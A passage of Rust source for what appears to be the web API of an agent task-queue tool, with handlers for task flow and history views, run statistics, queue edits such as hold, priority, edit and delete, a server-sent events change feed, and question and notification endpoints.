4527 key: key.to_owned(),
4528 kind,
4529 label,
4530 status: None,
4531 note: None,
4532 run_kind: None,
4533 detail: None,
4534 decided: false,
4535 readable: true,
4536 href: None,
4537 };
4538 let mut nodes = Vec::new();
4539 let mut edges: Vec<FlowEdge> = Vec::new();
4540 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4542 let mut n = node(
4543 "chat",
4544 "chat",
4545 format!("Chat {}", crate::queue::short(&link.id)),
4546 );
4547 n.href = Some(link.href);
4548 nodes.push(n);
4549 edges.push(FlowEdge {
4550 from: "chat".to_owned(),
4551 to: "start".to_owned(),
4552 label: "queued from chat".to_owned(),
4553 attempt: AttemptCost::None,
4554 });
4555 }
4556 nodes.push(node("start", "start", "Task queued".to_owned()));
4557 let mut prev = "start".to_owned();
4558 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4559 for (i, h) in history.iter().enumerate() {
4560 let key = format!("run-{}", h.n);
4561 let mut n = node(&key, "run", format!("Run {}", h.short));
4562 n.run_kind = Some(h.kind);
4563 n.readable = h.readable;
4564 n.href = Some(format!("#/runs/{}", h.id));
4565 n.decided = h.readable && !h.provisional;
4566 n.detail = h
4567 .branch
4568 .as_ref()
4569 .map(|b| format!("review-only run of branch {b}"));
4570 match h.exit {
4571 RunExit::Unreadable => n.note = Some("unreadable"),
4572 RunExit::Interrupted => n.note = Some("interrupted"),
4573 _ => {
4574 n.status = h.status;
4575 if h.provisional {
4576 n.note = Some("no verdict");
4577 }
4578 }
4579 }
4580 let into = match h.kind {
4581 "review" => Some(format!(
4582 "review-only run of branch {}",
4583 h.branch.as_deref().unwrap_or("?")
4584 )),
4585 "resume" => Some("resume the same run".to_owned()),
4586 _ if i > 0 => Some("retry".to_owned()),
4587 _ => None,
4588 };
4589 let label = match (prev_exit, into) {
4590 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4591 (Some((e, st)), None) => e.edge_label(st),
4592 (None, Some(i)) => i,
4593 (None, None) => "claimed".to_owned(),
4594 };
4595 edges.push(FlowEdge {
4596 from: prev.clone(),
4597 to: key.clone(),
4598 label,
4599 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4600 });
4601 prev_exit = Some((h.exit, h.status));
4602 prev = key;
4603 nodes.push(n);
4604 }
4605 let mut end = node("end", "end", task.status.as_str().to_owned());
4606 end.status = Some(task.status.as_str());
4607 nodes.push(end);
4608 let (label, attempt) = match prev_exit {
4609 None => (
4610 format!("no run yet \u{2192} {}", task.status.as_str()),
4611 AttemptCost::None,
4612 ),
4613 Some((e, st)) if e.explains(task.status) => (
4614 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4615 e.cost(),
4616 ),
4617 Some((e, _)) => (
4618 format!("closed by hand: task is {}", task.status.as_str()),
4619 e.cost(),
4620 ),
4621 };
4622 edges.push(FlowEdge {
4623 from: prev,
4624 to: "end".to_owned(),
4625 label,
4626 attempt,
4627 });
4628 FlowView {
4629 nodes,
4630 edges,
4631 attempts: task.attempts,
4632 max_attempts,
4633 }
4634}
4635
4636fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4639 let mut history = Vec::with_capacity(task.runs.len());
4640 let mut seen: Vec<&str> = Vec::new();
4641 let mut prior: Option<(&str, RunStatus)> = None;
4642 for (i, run_id) in task.runs.iter().enumerate() {
4643 let state = read(run_id);
4644 let resumed = seen.contains(&run_id.as_str());
4645 seen.push(run_id);
4646 history.push(task_run_view(
4647 run_id,
4648 state.as_ref(),
4649 RunSlot {
4650 n: i + 1,
4651 resumed,
4652 resumed_later: task.runs[i + 1..]
4653 .iter()
4654 .position(|r| r == run_id)
4655 .map(|off| i + off + 2),
4656 prior,
4657 last: i + 1 == task.runs.len(),
4658 },
4659 task,
4660 ));
4661 if let Some(s) = &state {
4662 prior = Some((run::short_of(run_id), s.status));
4663 }
4664 }
4665 history
4666}
4667
4668async fn task_detail(
4669 State(ui): State<Arc<Ui>>,
4670 Path(id): Path<String>,
4671) -> ApiResult<Json<TaskDetailView>> {
4672 blocking(move || {
4673 let id = resolve_task(&ui.queue, &id)?;
4674 let task = ui
4675 .queue
4676 .get(&id)
4677 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4678 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4679 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4680 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4681 let max_attempts = daemon::Opts::default().max_attempts;
4682 let flow = task_flow(&task, &history, max_attempts);
4683 Ok(Json(TaskDetailView {
4684 max_attempts,
4685 flow,
4686 history,
4687 runs_unreadable,
4688 attempts_note: ATTEMPTS_NOTE,
4689 task: TaskView::with_inventory(task, &inv),
4690 }))
4691 })
4692 .await
4693}
4694
4695#[derive(Debug, Serialize)]
4699struct RateView {
4700 pct: f64,
4701 denominator: usize,
4702}
4703
4704impl RateView {
4705 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4706 (denominator > 0).then(|| Self {
4707 pct: 100.0 * numerator as f64 / denominator as f64,
4708 denominator,
4709 })
4710 }
4711}
4712
4713#[derive(Debug, Serialize)]
4718struct StatsTotalsView {
4719 runs: usize,
4720 merged: usize,
4721 ready: usize,
4722 blocked: usize,
4723 failed: usize,
4724 stalled: usize,
4725 verified_noop: usize,
4726 superseded: usize,
4727 in_progress: usize,
4728 completion_rate: Option<RateView>,
4729 tallied: usize,
4730 split: usize,
4731 split_rate: Option<RateView>,
4732 deliberated: usize,
4733 minds_changed: usize,
4734 converged: usize,
4735 review_rounds: usize,
4736}
4737
4738impl From<&stats::Totals> for StatsTotalsView {
4739 fn from(t: &stats::Totals) -> Self {
4740 Self {
4741 runs: t.runs,
4742 merged: t.merged,
4743 ready: t.ready,
4744 blocked: t.blocked,
4745 failed: t.failed,
4746 stalled: t.stalled,
4747 verified_noop: t.verified_noop,
4748 superseded: t.superseded,
4749 in_progress: t.in_progress,
4750 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4751 tallied: t.tallied,
4752 split: t.split,
4753 split_rate: RateView::of(t.split, t.tallied),
4754 deliberated: t.deliberated,
4755 minds_changed: t.minds_changed,
4756 converged: t.converged,
4757 review_rounds: t.review_rounds,
4758 }
4759 }
4760}
4761
4762#[derive(Debug, Serialize)]
4764struct AgentStatsView {
4765 agent: String,
4766 entered: usize,
4767 wins: usize,
4768 empty: usize,
4769 win_rate: Option<RateView>,
4770}
4771
4772impl From<&stats::AgentStats> for AgentStatsView {
4773 fn from(a: &stats::AgentStats) -> Self {
4774 Self {
4775 agent: a.agent.clone(),
4776 entered: a.entered,
4777 wins: a.wins,
4778 empty: a.empty,
4779 win_rate: RateView::of(a.wins, a.entered),
4780 }
4781 }
4782}
4783
4784#[derive(Debug, Serialize)]
4788struct ReviewerStatsView {
4789 agent: String,
4790 rounds: usize,
4791 seated: usize,
4792 submitted: usize,
4793 adopted: usize,
4794 unique: usize,
4795 timeouts: usize,
4796 adopted_per_round: Option<f64>,
4797 precision: Option<RateView>,
4798 unique_rate: Option<RateView>,
4799 timeout_rate: Option<RateView>,
4800}
4801
4802impl From<&stats::ReviewerStats> for ReviewerStatsView {
4803 fn from(r: &stats::ReviewerStats) -> Self {
4804 Self {
4805 agent: r.agent.clone(),
4806 rounds: r.rounds,
4807 seated: r.seated,
4808 submitted: r.submitted,
4809 adopted: r.adopted,
4810 unique: r.unique,
4811 timeouts: r.timeouts,
4812 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4813 precision: RateView::of(r.adopted, r.submitted),
4814 unique_rate: RateView::of(r.unique, r.submitted),
4815 timeout_rate: RateView::of(r.timeouts, r.seated),
4816 }
4817 }
4818}
4819
4820#[derive(Debug, Serialize)]
4826struct AdvisorStatsView {
4827 agent: String,
4828 seated: usize,
4829 proposed: usize,
4830 absent: usize,
4831 faint: usize,
4832 strong: usize,
4833 reflection_rate: Option<RateView>,
4834}
4835
4836impl From<&stats::AdvisorStats> for AdvisorStatsView {
4837 fn from(a: &stats::AdvisorStats) -> Self {
4838 Self {
4839 agent: a.agent.clone(),
4840 seated: a.seated,
4841 proposed: a.proposed,
4842 absent: a.absent,
4843 faint: a.faint,
4844 strong: a.strong,
4845 reflection_rate: RateView::of(a.strong, a.proposed),
4846 }
4847 }
4848}
4849
4850#[derive(Debug, Serialize)]
4852struct E2eStatsView {
4853 rounds: usize,
4854 failures: usize,
4855 sole_detections: usize,
4856 deferred: usize,
4857 sole_rate: Option<RateView>,
4858}
4859
4860impl From<&stats::E2eStats> for E2eStatsView {
4861 fn from(e: &stats::E2eStats) -> Self {
4862 Self {
4863 rounds: e.rounds,
4864 failures: e.failures,
4865 sole_detections: e.sole_detections,
4866 deferred: e.deferred,
4867 sole_rate: RateView::of(e.sole_detections, e.failures),
4868 }
4869 }
4870}
4871
4872#[derive(Debug, Serialize)]
4880struct ReleaseBumpStatsView {
4881 merged: usize,
4882 recorded: usize,
4883 pr_opened: usize,
4884 automerge_enabled: usize,
4885 merged_directly: usize,
4886 needs_attention: usize,
4887 clean: usize,
4888 coverage_rate: Option<RateView>,
4889 automerge_rate: Option<RateView>,
4890 attention_rate: Option<RateView>,
4891}
4892
4893impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4894 fn from(b: &stats::ReleaseBumpStats) -> Self {
4895 Self {
4896 merged: b.merged,
4897 recorded: b.recorded,
4898 pr_opened: b.pr_opened,
4899 automerge_enabled: b.automerge_enabled,
4900 merged_directly: b.merged_directly,
4901 needs_attention: b.needs_attention,
4902 clean: b.clean(),
4903 coverage_rate: RateView::of(b.recorded, b.merged),
4904 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4905 attention_rate: RateView::of(b.needs_attention, b.recorded),
4906 }
4907 }
4908}
4909
4910#[derive(Debug, Serialize)]
4912struct TaskCountsView {
4913 queued: usize,
4914 running: usize,
4915 done: usize,
4916 failed: usize,
4917 held: usize,
4918 blocked: usize,
4919 parked: usize,
4920}
4921
4922impl From<crate::queue::TaskCounts> for TaskCountsView {
4923 fn from(c: crate::queue::TaskCounts) -> Self {
4924 Self {
4925 queued: c.queued,
4926 running: c.running,
4927 done: c.done,
4928 failed: c.failed,
4929 held: c.held,
4930 blocked: c.blocked,
4931 parked: c.parked,
4932 }
4933 }
4934}
4935
4936#[derive(Debug, Serialize)]
4942struct RepoSummaryView {
4943 repo: String,
4946 name: String,
4948 runs: usize,
4949 completion_rate: Option<RateView>,
4950}
4951
4952impl From<&stats::RepoStats> for RepoSummaryView {
4953 fn from(r: &stats::RepoStats) -> Self {
4954 let t = &r.stats.totals;
4955 Self {
4956 repo: r.repo.to_string_lossy().into_owned(),
4957 name: r.name.clone(),
4958 runs: t.runs,
4959 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4960 }
4961 }
4962}
4963
4964#[derive(Debug, Serialize)]
4970struct StatsView {
4971 totals: StatsTotalsView,
4972 agents: Vec<AgentStatsView>,
4974 reviewers: Vec<ReviewerStatsView>,
4976 advisors: Vec<AdvisorStatsView>,
4978 e2e: E2eStatsView,
4979 release_bumps: ReleaseBumpStatsView,
4980 queue: TaskCountsView,
4981 runs_unreadable: usize,
4991 repos: Vec<RepoSummaryView>,
4995 daily: Vec<DailyStatsView>,
5000 repo: Option<String>,
5004 retired_hidden: Vec<String>,
5008}
5009
5010#[derive(Debug, Serialize)]
5012struct DailyStatsView {
5013 date: String,
5015 runs: usize,
5016 merged: usize,
5017 ready: usize,
5018 other: usize,
5019 completion_rate: Option<RateView>,
5021}
5022
5023impl From<&stats::DayBucket> for DailyStatsView {
5024 fn from(b: &stats::DayBucket) -> Self {
5025 Self {
5026 date: b.date.to_string(),
5027 runs: b.runs,
5028 merged: b.merged,
5029 ready: b.ready,
5030 other: b.other,
5031 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5032 }
5033 }
5034}
5035
5036const STATS_DAILY_DAYS: usize = 30;
5038
5039#[derive(Debug, Default, Deserialize)]
5048#[serde(default)]
5049struct StatsQuery {
5050 repo: Option<String>,
5051 all: bool,
5053}
5054
5055async fn stats_get(
5062 State(ui): State<Arc<Ui>>,
5063 Query(q): Query<StatsQuery>,
5064) -> ApiResult<Json<StatsView>> {
5065 blocking(move || {
5066 let states: Vec<RunState> = run_ids(&ui.runs)
5067 .into_iter()
5068 .filter_map(|id| read_run(&ui.runs, &id).ok())
5069 .collect();
5070 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5071 .iter()
5072 .map(RepoSummaryView::from)
5073 .collect();
5074 let mut scoped: Vec<&RunState> = states.iter().collect();
5075 let mut collected = match &q.repo {
5076 Some(repo) => {
5077 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5078 if filtered.is_empty() {
5079 return Err(ApiError::not_found(format!(
5080 "no runs recorded against repo `{repo}`"
5081 )));
5082 }
5083 scoped = filtered.clone();
5084 stats::collect_refs(filtered)
5085 }
5086 None => stats::collect(&states),
5087 };
5088 if !q.all {
5089 let repo = q
5090 .repo
5091 .as_deref()
5092 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5093 stats::retain_current_roster(&mut collected, &repo);
5094 }
5095 let daily = stats::daily(
5096 scoped,
5097 jiff::Zoned::now().date(),
5098 &jiff::tz::TimeZone::system(),
5099 STATS_DAILY_DAYS,
5100 );
5101 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5102 Ok(Json(StatsView {
5103 totals: StatsTotalsView::from(&collected.totals),
5104 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5105 reviewers: collected
5106 .reviewers
5107 .iter()
5108 .map(ReviewerStatsView::from)
5109 .collect(),
5110 advisors: collected
5111 .advisors
5112 .iter()
5113 .map(AdvisorStatsView::from)
5114 .collect(),
5115 e2e: E2eStatsView::from(&collected.e2e),
5116 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5117 queue: TaskCountsView::from(queue_counts),
5118 runs_unreadable: runs_unreadable(&ui.runs),
5119 repos,
5120 daily: daily.iter().map(DailyStatsView::from).collect(),
5121 repo: q.repo.clone(),
5122 retired_hidden: collected.retired_hidden.clone(),
5123 }))
5124 })
5125 .await
5126}
5127
5128#[derive(Debug, Default, Deserialize)]
5131#[serde(default, deny_unknown_fields)]
5132struct HoldBody {
5133 reason: Option<String>,
5134}
5135
5136async fn queue_hold(
5137 State(ui): State<Arc<Ui>>,
5138 Path(id): Path<String>,
5139 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5140) -> ApiResult<Json<TaskView>> {
5141 let body = match body {
5145 Ok(Json(body)) => body,
5146 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5147 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5148 };
5149 let reason = body.reason.filter(|r| !r.trim().is_empty());
5150 mutate(ui, id, move |t| {
5151 t.hold_manual(reason.clone());
5152 Ok(())
5153 })
5154 .await
5155}
5156
5157async fn queue_release(
5158 State(ui): State<Arc<Ui>>,
5159 Path(id): Path<String>,
5160) -> ApiResult<Json<TaskView>> {
5161 mutate(ui, id, |t| {
5162 t.release();
5163 Ok(())
5164 })
5165 .await
5166}
5167
5168#[derive(Debug, Deserialize)]
5170#[serde(deny_unknown_fields)]
5171struct PriorityBody {
5172 priority: i32,
5173}
5174
5175async fn queue_priority(
5181 State(ui): State<Arc<Ui>>,
5182 Path(id): Path<String>,
5183 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5184) -> ApiResult<Json<TaskView>> {
5185 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5186 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5187}
5188
5189#[derive(Debug, Deserialize)]
5191#[serde(deny_unknown_fields)]
5192struct EditBody {
5193 title: String,
5194 instruction: String,
5195 #[serde(default)]
5198 force: bool,
5199}
5200
5201async fn queue_edit(
5205 State(ui): State<Arc<Ui>>,
5206 Path(id): Path<String>,
5207 body: std::result::Result<Json<EditBody>, JsonRejection>,
5208) -> ApiResult<Json<TaskView>> {
5209 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5210 let mut judged: Option<(String, PathBuf)> = None;
5214 if !body.force {
5215 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5216 let (id, text) = (id.clone(), body.instruction.clone());
5217 let (seen, hits) = blocking(move || {
5218 let id = resolve_task(&queue, &id)?;
5219 let t = queue.get(&id)?;
5220 if text == t.instruction {
5221 return Ok((None, Vec::new()));
5222 }
5223 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5224 Ok((Some((t.instruction, t.repo)), hits))
5225 })
5226 .await?;
5227 if let Some((_, repo)) = &seen {
5228 let cfg = crate::config::Config::discover(repo, None)
5229 .ok()
5230 .map(|(c, _)| c);
5231 let screened =
5232 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5233 .await
5234 .map_err(|dup| {
5235 ApiError::conflict(dup.render(
5236 "Nothing was saved. If it is not a duplicate, repeat the request \
5237 with \"force\": true.",
5238 ))
5239 })?;
5240 if let crate::dupes::Screened::Unjudged(why) = screened {
5241 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5242 }
5243 }
5244 judged = seen;
5245 }
5246 let force = body.force;
5247 mutate(ui, id, move |t| {
5248 if !force && body.instruction != t.instruction {
5249 match &judged {
5250 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5251 _ => {
5252 anyhow::bail!("the task changed while it was being checked; repeat the request")
5253 }
5254 }
5255 }
5256 t.edit(body.title.clone(), body.instruction.clone())
5257 })
5258 .await
5259}
5260
5261async fn queue_done(
5269 State(ui): State<Arc<Ui>>,
5270 Path(id): Path<String>,
5271) -> ApiResult<Json<TaskView>> {
5272 let home = ui.home.clone();
5273 mutate(ui, id, move |t| {
5274 t.succeed();
5275 crate::daemon::supersede_prior_runs(t, &home);
5283 Ok(())
5284 })
5285 .await
5286}
5287
5288async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5296 blocking(move || {
5297 let id = resolve_task(&ui.queue, &id)?;
5298 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5299 ui.queue
5300 .remove(&id, in_flight, &ui.questions)
5301 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5302 Ok(StatusCode::NO_CONTENT)
5303 })
5304 .await
5305}
5306
5307async fn mutate(
5316 ui: Arc<Ui>,
5317 id: String,
5318 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5319) -> ApiResult<Json<TaskView>> {
5320 blocking(move || {
5321 let id = resolve_task(&ui.queue, &id)?;
5322 let _claim = ui.queue.claim(&id).map_err(|e| {
5327 ApiError::conflict(format!(
5328 "{e:#} - a daemon is running this task, so it cannot be \
5329 changed from here yet"
5330 ))
5331 })?;
5332 let mut task = ui.queue.get(&id)?;
5333 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5334 Ok(dup) => ApiError::conflict(dup.render(
5335 "Nothing was saved. If it is not a duplicate, repeat the request with \
5336 \"force\": true.",
5337 )),
5338 Err(e) => ApiError::bad_request_from(e),
5339 })?;
5340 ui.queue.put(&mut task)?;
5341 Ok(Json(TaskView::from(task)))
5342 })
5343 .await
5344}
5345
5346async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5354 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5355 tokio::spawn(async move {
5356 let mut ticker = tokio::time::interval(POLL);
5357 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5358 let mut stamps: Option<[Stamps; 3]> = None;
5359 loop {
5360 ticker.tick().await;
5363 let state = Arc::clone(&ui);
5364 let revisions = tokio::task::spawn_blocking(move || {
5365 let stamps = [
5366 store_stamps(state.queue.root(), false),
5367 store_stamps(&state.runs, true),
5368 store_stamps(state.talks.root(), false),
5369 ];
5370 let revisions = (
5371 stamps_revision(&stamps[0]),
5372 stamps_revision(&stamps[1]),
5373 state.questions.revision(),
5374 stamps_revision(&stamps[2]),
5375 state.notices.revision(),
5376 state.lock_loop().rev,
5380 );
5381 (revisions, stamps)
5382 })
5383 .await;
5384 let Ok((revisions, next_stamps)) = revisions else {
5385 break;
5386 };
5387 if last == Some(revisions) {
5388 continue;
5389 }
5390 let mut payload = serde_json::json!({
5391 "queue_rev": revisions.0,
5392 "runs_rev": revisions.1,
5393 "questions_rev": revisions.2,
5394 "talks_rev": revisions.3,
5395 "notifications_rev": revisions.4,
5396 "loop_rev": revisions.5,
5397 });
5398 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5399 for (index, (key, rev)) in [
5400 ("queue_delta", base.0),
5401 ("runs_delta", base.1),
5402 ("talks_delta", base.3),
5403 ]
5404 .into_iter()
5405 .enumerate()
5406 {
5407 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5408 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5410 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5411 }
5412 }
5413 }
5414 last = Some(revisions);
5415 stamps = Some(next_stamps);
5416 let Ok(event) = Event::default().event("change").json_data(payload) else {
5418 break;
5419 };
5420 if tx.send(event).await.is_err() {
5421 break;
5422 }
5423 }
5424 });
5425 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5426 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5427}
5428
5429type Stamps = HashMap<String, (u128, u64)>;
5430
5431fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5433 std::fs::read_dir(root)
5434 .into_iter()
5435 .flatten()
5436 .flatten()
5437 .filter_map(|entry| {
5438 let path = if runs {
5439 entry.path().join("run.json")
5440 } else {
5441 entry.path()
5442 };
5443 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5444 return None;
5445 }
5446 let metadata = path.metadata().ok()?;
5447 let modified = metadata
5448 .modified()
5449 .ok()?
5450 .duration_since(std::time::UNIX_EPOCH)
5451 .ok()?;
5452 let id = if runs {
5453 entry.file_name().to_string_lossy().into_owned()
5454 } else {
5455 path.file_stem()?.to_string_lossy().into_owned()
5456 };
5457 Some((id, (modified.as_nanos(), metadata.len())))
5458 })
5459 .collect()
5460}
5461
5462#[derive(Debug, Serialize)]
5463struct Delta {
5464 base: u64,
5465 changed: Vec<String>,
5466 removed: Vec<String>,
5467}
5468
5469fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5470 let mut changed: Vec<_> = next
5471 .iter()
5472 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5473 .map(|(id, _)| id.clone())
5474 .collect();
5475 let mut removed: Vec<_> = previous
5476 .keys()
5477 .filter(|id| !next.contains_key(*id))
5478 .cloned()
5479 .collect();
5480 changed.sort_unstable();
5481 removed.sort_unstable();
5482 Delta {
5483 base,
5484 changed,
5485 removed,
5486 }
5487}
5488
5489fn runs_revision(runs: &FsPath) -> u64 {
5496 stamps_revision(&store_stamps(runs, true))
5497}
5498
5499fn stamps_revision(stamps: &Stamps) -> u64 {
5503 use std::hash::{Hash as _, Hasher as _};
5504 if stamps.is_empty() {
5505 return 0;
5506 }
5507 let mut entries: Vec<_> = stamps.iter().collect();
5508 entries.sort_unstable();
5509 let mut hasher = std::hash::DefaultHasher::new();
5510 entries.hash(&mut hasher);
5511 hasher.finish().max(1)
5512}
5513
5514fn run_ids(runs: &FsPath) -> Vec<String> {
5520 let mut ids: Vec<String> = std::fs::read_dir(runs)
5521 .into_iter()
5522 .flatten()
5523 .flatten()
5524 .filter(|e| e.path().join("run.json").is_file())
5525 .map(|e| e.file_name().to_string_lossy().into_owned())
5526 .collect();
5527 ids.sort_unstable_by(|a, b| b.cmp(a));
5529 ids
5530}
5531
5532fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5534 let path = runs.join(id).join("run.json");
5535 let body =
5536 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5537 let state: RunState =
5538 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5539 run::migrate_schema(state)
5544}
5545
5546#[must_use]
5554pub fn runs_unreadable(runs: &FsPath) -> usize {
5555 run_ids(runs)
5556 .into_iter()
5557 .filter(|id| read_run(runs, id).is_err())
5558 .count()
5559}
5560
5561fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5563 if runs.join(id).join("run.json").is_file() {
5564 return Ok(id.to_owned());
5565 }
5566 pick(run_ids(runs), id, "run")
5567}
5568
5569fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5571 if queue.path_of(id).is_file() {
5572 return Ok(id.to_owned());
5573 }
5574 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5575}
5576
5577#[derive(Debug, Serialize)]
5588struct QuestionView {
5589 #[serde(flatten)]
5590 question: Question,
5591 detail_md: Vec<md::Node>,
5592 thread_bodies_md: Vec<Vec<md::Node>>,
5594 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5597 waiting_on_agent: bool,
5607 holder: Option<&'static str>,
5611 deputies_enabled: bool,
5615 run_is_task: bool,
5618 origin_chat: Option<String>,
5623 origin_chat_closed: bool,
5625}
5626
5627impl QuestionView {
5628 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5632 let base = md::ImageBase::QuestionPanel {
5633 id: question.id.clone(),
5634 };
5635 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5636 Self {
5637 detail_md: md::to_nodes(&question.detail, &base),
5638 thread_bodies_md: question
5639 .thread
5640 .iter()
5641 .map(|t| md::to_nodes(&t.body, &base))
5642 .collect(),
5643 thread_notes_md: question
5644 .thread
5645 .iter()
5646 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5647 .collect(),
5648 waiting_on_agent: question.waiting_on_agent(),
5649 holder,
5650 deputies_enabled,
5651 run_is_task: question.run_names_task(),
5652 origin_chat: None,
5653 origin_chat_closed: false,
5654 question,
5655 }
5656 }
5657
5658 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5660 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5661 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5662 self.origin_chat = talk.map(|t| t.id);
5663 self
5664 }
5665}
5666
5667fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5671 Config::discover(repo, None).ok().map(|(c, _)| c)
5672}
5673
5674fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5676 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5677}
5678
5679fn question_views(
5682 qs: Vec<Question>,
5683 store: &ask::Questions,
5684 load: impl FnOnce() -> Option<Config>,
5685) -> Vec<QuestionView> {
5686 if qs.is_empty() {
5687 return Vec::new();
5688 }
5689 let cfg = load();
5690 qs.into_iter()
5691 .map(|q| {
5692 let on = deputies_enabled(cfg.as_ref(), &q);
5693 QuestionView::of(q, store, on)
5694 })
5695 .collect()
5696}
5697
5698fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5708 if !q.status.open() {
5709 return None;
5710 }
5711 if q.cwd.is_none() && q.deputy.is_none() {
5712 return crate::deputy::kind_of(q).map(|_| "nobody");
5713 }
5714 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5715 Some(_) if q.deputy.is_some() => "deputy",
5716 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5717 Some(_) => "asker",
5718 None => "nobody",
5719 })
5720}
5721
5722async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5728 blocking(move || {
5729 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5730 Ok(Json(
5731 question_views(ui.questions.list(), &ui.questions, || {
5732 deputy_config(&ui.repo)
5733 })
5734 .into_iter()
5735 .map(|v| v.with_origin(&tasks, &talks))
5736 .collect(),
5737 ))
5738 })
5739 .await
5740}
5741
5742async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5745 blocking(move || {
5746 let items = ui.notices.list();
5747 let unread = items.iter().filter(|n| n.unread()).count();
5748 Ok(Json(
5749 serde_json::json!({ "unread": unread, "items": items }),
5750 ))
5751 })
5752 .await
5753}
5754
5755fn notice_error(e: anyhow::Error) -> ApiError {
5756 ApiError::not_found(format!("{e:#}"))
5759}
5760
5761async fn notification_read(
5763 State(ui): State<Arc<Ui>>,
5764 Path(id): Path<String>,
5765) -> ApiResult<Json<Notice>> {
5766 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5767}
5768
5769async fn notification_dismiss(
5771 State(ui): State<Arc<Ui>>,
5772 Path(id): Path<String>,
5773) -> ApiResult<Json<Notice>> {
5774 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5775}
5776
5777async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5779 blocking(move || {
5780 let changed = ui.notices.mark_all_read()?;
5781 Ok(Json(serde_json::json!({ "marked": changed })))
5782 })
5783 .await
5784}
5785
5786#[derive(Debug, Default, Deserialize)]
5792#[serde(default, deny_unknown_fields)]
5793struct NewAnswer {
5794 choice: Option<String>,
5795 text: Option<String>,
5796}
5797
5798async fn question_answer(
5799 State(ui): State<Arc<Ui>>,
5800 Path(id): Path<String>,
5801 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5802) -> ApiResult<Json<QuestionView>> {
5803 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5804 let answer = match (body.choice, body.text) {
